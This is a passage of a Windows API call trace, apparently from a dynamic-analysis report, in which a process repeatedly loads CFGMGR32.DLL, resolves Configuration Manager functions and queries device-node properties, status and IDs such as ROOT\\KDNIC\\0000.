(_Block=0x196ef0fb450) [0187.599] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.763] malloc (_Size=0x48) returned 0x196ef0fb860 [0187.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50c5e193, dwHighDateTime=0x1d9eb0c)) [0187.763] SetEvent (hEvent=0x248) returned 1 [0187.767] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.767] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.772] malloc (_Size=0x18) returned 0x196ef0d1da0 [0187.772] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.772] malloc (_Size=0x48) returned 0x196ef0fbd10 [0187.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50c5e193, dwHighDateTime=0x1d9eb0c)) [0187.772] SetEvent (hEvent=0x248) returned 1 [0187.776] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.776] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.783] malloc (_Size=0x18) returned 0x196ef0d19a0 [0187.783] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.784] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0187.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50c848cd, dwHighDateTime=0x1d9eb0c)) [0187.784] SetEvent (hEvent=0x248) returned 1 [0187.788] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.788] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.793] malloc (_Size=0x18) returned 0x196ef0d1d20 [0187.793] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0187.793] malloc (_Size=0x48) returned 0x196ef0fbef0 [0187.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50caa7c6, dwHighDateTime=0x1d9eb0c)) [0187.793] SetEvent (hEvent=0x248) returned 1 [0187.799] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.799] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.802] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.802] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.802] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.802] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.804] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0187.804] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.931] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0187.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50deae76, dwHighDateTime=0x1d9eb0c)) [0187.931] SetEvent (hEvent=0x248) returned 1 [0187.934] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.934] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.935] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.936] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.938] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0187.938] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x20, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0187.938] malloc (_Size=0x48) returned 0x196ef0fc170 [0187.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x50deae76, dwHighDateTime=0x1d9eb0c)) [0187.938] SetEvent (hEvent=0x248) returned 1 [0187.942] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.942] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.945] malloc (_Size=0x18) returned 0x196ef0d1d60 [0187.945] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x20, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0187.945] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0187.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x50e113a1, dwHighDateTime=0x1d9eb0c)) [0187.946] SetEvent (hEvent=0x248) returned 1 [0187.948] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.948] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.952] malloc (_Size=0x18) returned 0x196ef0d19a0 [0187.952] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0187.952] malloc (_Size=0x48) returned 0x196ef0fb310 [0187.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50e113a1, dwHighDateTime=0x1d9eb0c)) [0187.953] SetEvent (hEvent=0x248) returned 1 [0187.959] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.959] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.959] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.959] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.959] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.960] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.961] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.962] malloc (_Size=0x18) returned 0x196ef0d1e20 [0187.962] CM_Get_Device_IDA (in: dnDevInst=0x21, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\KDNIC\\0000") returned 0x0 [0187.962] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0187.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x50e37c46, dwHighDateTime=0x1d9eb0c)) [0187.962] SetEvent (hEvent=0x248) returned 1 [0187.965] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.965] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.966] GetProcAddress (hModule=0x7ffa786c0000, 